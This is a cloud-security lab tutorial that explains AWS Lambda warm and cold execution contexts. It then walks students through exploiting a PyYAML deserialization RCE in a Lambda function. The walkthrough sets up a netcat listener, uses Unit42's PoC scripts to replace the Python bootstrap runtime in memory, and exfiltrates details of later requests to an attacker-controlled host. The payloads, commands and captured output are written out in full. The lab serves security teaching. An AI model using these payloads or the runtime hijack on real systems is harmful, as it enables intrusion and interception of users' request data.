Understanding the Lambda Runtime Environment

Lambda functions are containerized environments managed by the AWS backend. In theory, we think about Lambda functions as entirely new executions with each invocation or trigger of a function. However, in practice this would require new containers to be created each time a function was triggered. The additional time needed to spin up a container would increase the cost and the time it takes to respond to an event. Therefore, Lambda containers are often not new containers but rather re-used containers if the triggering events are close enough to each other that AWS has not killed the container. Let's examine the two different states of Lambda containers.

Cold Execution Context

A cold execution state means that either the function is newly created or the function has not be triggered recently and AWS has torn down the container. From a cold state, an execution is given a brand new container with a new execution context. The /tmp directory will be cleaned out and no artifacts from previous triggering events will be present within the container. As previously mentioned, this cold execution context will take more time to spin up costing slightly more and delaying response times slightly. While these differences are slight, we must remember that Lambda is often executed at a very large scale. Small differences in price become quite significant when multiplied across 1000 Lambda execution.

Warm Execution Context

Warm execution context are entered when the function has been recently triggered. Unfortunately, we cannot be more specific about "recently" since the amount of time it takes for AWS to kill a Lambda container and return it to a cold state is not consistent. Within a warm execution context, the Lambda container is being reused to respond to a triggering event of the same function. Containers are not reused for separate functions. Since we are reusing the container, there are number of items we should be aware of:

- artifacts left behind in /tmp from the previous invocation will still be present in the current invocation
- background processes started in the previous invocation may still be running
- execution context is reused
- runtime bootstrapping is reused

While some of these items may seem concerning, overall we know that response times and costs are reduced which becomes quite significant at scale.

Keeping it Warm

Now that we understand the two execution contexts, we can understand why from a developer's point a view a warm context is preferred. In fact, warm contexts are so significantly preferred over cold contexts to reduce response time that developers are encouraged to have a process of "pinging" given lambda functions on a regular interval to ensure that they are constantly receiving traffic and remain in a "warm" state. Of course, even functions that are constantly receiving traffic do not stay in a warm state forever. At some inconsistent interval, AWS will tear down even warm containers and return them to a cold state.

Bootstrapping

One of the most interesting aspects of warm execution contexts is that they reuse the bootstrapping established in the first invocation. But before we talk about how we can take advantage of this functionality, let's examine the bootstrapping process.

To no surprise, the bootstrapping process of Lambda functions is not well documented. However, the team at Palo Alto's Unit42 spent a good amount of time taking apart the process. Specifically, they examined the Python 3.7 runtime environment.

Cold Bootstrapping

When a triggering event is received and all containers used to respond to that particular event have been torn down, the cold bootstrapping process beings. A process within the AWS backend builds the container and calls the "init" process within the container. The init process is then responsible for getting the container environment ready.

The init bootstrapping process begins by deploying a local HTTP server with a variety of endpoints. This HTTP server is used to communicate triggering events and the parameters of those events. The init process then bootstraps the runtime, in our case, that runtime is Python 3.7 and the file "bootstrap.py" is executed by init.

Boostrap.py executes a variety of Python environment setup tasks before settling into a while loop. This loop polls the local HTTP server endpoints looking for any triggering events to respond to. At this point, the container has entered a warm state and will remain in this state responding to any triggers that are communicated via the HTTP server until AWS destroys the environment.

Once a triggering event occurs, the AWS backend communicates it to init, init posts data about the event to the local HTTP server, bootstrap.py pulls the event data from the endpoints, bootstrap.py executes the user's function and passes the event data to it and waits for the function to complete. Once the function completes, it returns the results or errors to bootstrap.py which then communicates it to init via the HTTP server.

One interesting aspect of this execution process is how bootstrap.py passes execution to the user's python function. It doesn't run the function as a child process as you might expect. Instead, bootstrap.py executes the user's function as an external module.

The way in which user functions are executed presents an opportunity for replacing bootstrapy.py. If we executes a new script using the os.execv call it will replace the currently executing script, meaning it will execute bootstrap.py since bootstrap.py imported the vulnerable user function that we are exploiting. In order to use os.execv, the script must be written either to disk (in the /tmp directory) or to memory and then executed. While this might seem somewhat complicated, the scripts created by Unit42 make it much easier.

Exercise

The Plan:

```
Exploit a vulnerable lambda function
Execute python code to replace the native bootstrap.py in memory
Exfiltrate details of subsequent requests made to the function while keeping the function in a warm state
```

Exploiting a Vulnerable Lambda Function

We have identified a Lambda function at

```
https://m8xk86cpxh.execute-api.us-east-2.amazonaws.com/yamlProcessor### (replace ### with your student ID)
```

Based on the endpoint name, we can tell that this is a Lambda function used to process YAML. Let's try to create a small YAML file called "good.yaml" and see if we can talk to the function:

good.yaml

```
- stuff: test
```

Now we can POST that file to the function with the following curl command:

Terminal

```
root@ip-10-0-1-251:~# curl -X POST -d @good.yaml https://m8xk86cpxh.execute-api.us-east-2.amazonaws.com/yamlProcessor###
[{"stuff": "test"}]
```

It looks like the YAML is processed and returned.

A quick Google check can tell us that the commonly used PyYAML library has an unpatched RCE vulnerability related to how the YAML processor is configured (https://github.com/yaml/pyyaml/issues/420). We can test whether this YAML process is vulnerable to this particular vulnerability by first creating a YAML file called "exploit.yaml" with the following text:

exploit.yaml

```
!!python/object/new:exec [ "import requests; requests.post('http://<PUBLIC SERVER IP ADDRESS>')" ]
```

Now on our public EC2 instance, let's get a netcat listener running:

Terminal

```
root@ip-10-0-1-251:~# nc -l -p 80
```

Now let's run a new curl command to POST our malicious YAML file. If our payload executes successfully, we should see POST data in our netcat listener and an error message returned from the lambda function.

Terminal

```
root@ip-10-0-1-251:~# curl -X POST -d @exploit.yaml https://m8xk86cpxh.execute-api.us-east-2.amazonaws.com/yamlProcessor###
{"message":"Internal Server Error"}
```

Terminal

```
root@ip-10-0-1-205:/home/ubuntu# nc -l -p 80
POST / HTTP/1.1
Host: 13.58.217.144
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
```

We have verified an RCE vulnerability and we can move on to establishing persistence via the lambda runtime.

We will be using tools developed by the Unit42 team at Palo Alto. We can download these tools with the following commands:

Terminal

```
cd /shared
mkdir -p /shared/lambda-exploit
cd /shared/lambda-exploit
wget -O /shared/lambda-exploit/lambda-persistency-poc-master.zip https://public-astute-cloud-20200813-935672326788.s3.amazonaws.com/lambda-persistency-poc-master.zip

unzip lambda-persistency-poc-master.zip
cd /shared/lambda-exploit/lambda-persistency-poc-master/poc
```

Once we have the tools downloaded, we can generate an attack to replace the python runtime in the memory of the vulnerable lambda function. The name of the script that will replace the runtime is twist_runtime.py. We have to modify a couple of settings within twist_runtime.py before we are able to use it. Open twist_runtime.py in a text editor and find the variables TWIST_HOME_IP and TWIST_HOME_PORT. Update them as the following:

twist_runtime.py

```
TWIST_HOME_IP = "<PUBLIC EC2 INSTANCE IP>"
TWIST_HOME_PORT = "80"
```

Save and close the file.

Next, we can use the create_evil_lambda.py script to package up the runtime so it will execute within our YAML RCE context:

Terminal

```
./create_evil_yaml.py switch_runtime.py twist_runtime.py
```

Now we just need to execute our runtime within the vulnerable lambda function with a new curl request:

Terminal

```
root@ip-10-0-1-251:~# curl -X POST -d @evil_yaml https://m8xk86cpxh.execute-api.us-east-2.amazonaws.com/yamlProcessor###
```

It may return a server error. If so, just try one more time. Once the runtime is successfully overwritten in memory, the function will return the following message:

Terminal

```
{"Output": "Successfully took over the bootstrap runtime"}
```

Start back up our netcat listener...

```
root@ip-10-0-1-110:/shared# nc -l -p 80
```

We can now execute additional "good" queries and observe as details of our requests are sent to our netcat listener while the request is still processed normally...

```
cd /shared

curl -X POST -d @good.yaml https://m8xk86cpxh.execute-api.us-east-2.amazonaws.com/yamlProcessor###
```

In our netcat listener, we can see output simliar to the following...

```
POST / HTTP/1.1
Host: 3.133.127.161
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 979
Content-Type: application/json

{"version": "2.0", "routeKey": "POST /yamlProcessor049", "rawPath": "/yamlProcessor049", "rawQueryString": "", "headers": {"accept": "*/*", "content-length": "13", "content-type": "application/x-www-form-urlencoded", "host": "m8xk86cpxh.execute-api.us-east-2.amazonaws.com", "user-agent": "curl/7.47.0", "x-amzn-trace-id": "Root=1-610735d4-464a9ff05925d9ad6d06a1d5", "x-forwarded-for": "3.133.127.161", "x-forwarded-port": "443", "x-forwarded-proto": "https"}, "requestContext": {"accountId": "885264802853", "apiId": "m8xk86cpxh", "domainName": "m8xk86cpxh.execute-api.us-east-2.amazonaws.com", "domainPrefix": "m8xk86cpxh", "http": {"method": "POST", "path": "/yamlProcessor049", "protocol": "HTTP/1.1", "sourceIp": "3.133.127.161", "userAgent": "curl/7.47.0"}, "requestId": "DaVZPiL1iYcEP7w=", "routeKey": "POST /yamlProcessor049", "stage": "$default", "time": "02/Aug/2021:00:01:24 +0000", "timeEpoch": 1627862484528}, "body": "LSBzdHVmZjogdGVzdA==", "isBase64Encoded": true}
```

References

The content for this section borrows HEAVILY from the work of Unit42 at Palo Alto and their article on the subject - https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/